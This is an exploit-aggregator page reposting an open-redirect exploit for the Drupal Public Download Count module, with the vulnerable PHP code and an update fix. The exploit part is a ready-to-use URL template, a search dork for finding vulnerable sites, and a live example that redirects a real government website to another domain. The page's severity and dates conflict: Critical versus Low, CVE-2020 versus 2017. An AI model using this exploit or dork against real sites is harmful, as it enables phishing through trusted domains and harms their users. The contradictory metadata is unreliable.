Advertisement






Drupal Public Download Count Module - Open Redirect

CVE Category Price Severity
CVE-2020-13669 CWE-601 $500 Critical
Author Risk Exploitation Type Date
Unknown Critical Remote 2017-06-08
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017060061

Below is a copy:

Drupal Public Download Count Module - Open Redirect# Exploit Title: Drupal Public Download Count Module - Open Redirect
# Date: 8-6-2017
# Software Link: https://www.drupal.org/project/pubdlcnt
# Exploit Author: Snooper
# Contact: https://t.me/Snbig
# CWE: CWE-601
# Risk: Low
# Category: webapps
# Tested on: Kali Linux
# Vulnerable File: pubdlcnt.php
# Dork: inurl:/sites/all/modules/pubdlcnt/pubdlcnt.php
# Version: 7.x-3.1 and lower
 
1. Description

An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. 
This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it .

2. Vulnerable Code :

$url = check_url($_GET['file']);
$nid = check_url($_GET['nid']);
if (!eregi("^(f|ht)tps?:\/\/.*", $url)) { // check if this is absolute URL 
  // if the URL is relative, then convert it to absolute
  $url = "http://" . $_SERVER['SERVER_NAME'] . $url;
}
if (is_valid_file_url($url)) {
  $filename = basename($url);
  pubdlcnt_update_counter($url, $filename, $nid);
header('Location: ' . $url);
exit;


3. Exploit : 

http://host/sites/all/modules/pubdlcnt/pubdlcnt.php?file=[ Open Redirect Vul ]

4. Example :

https://www.stats.gov.sa/sites/all/modules/pubdlcnt/pubdlcnt.php?file=http://leader.ir

5. Solution :
Update to version 8.x-1.x-dev
https://www.drupal.org/project/download_count/releases/8.x-1.x-dev

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum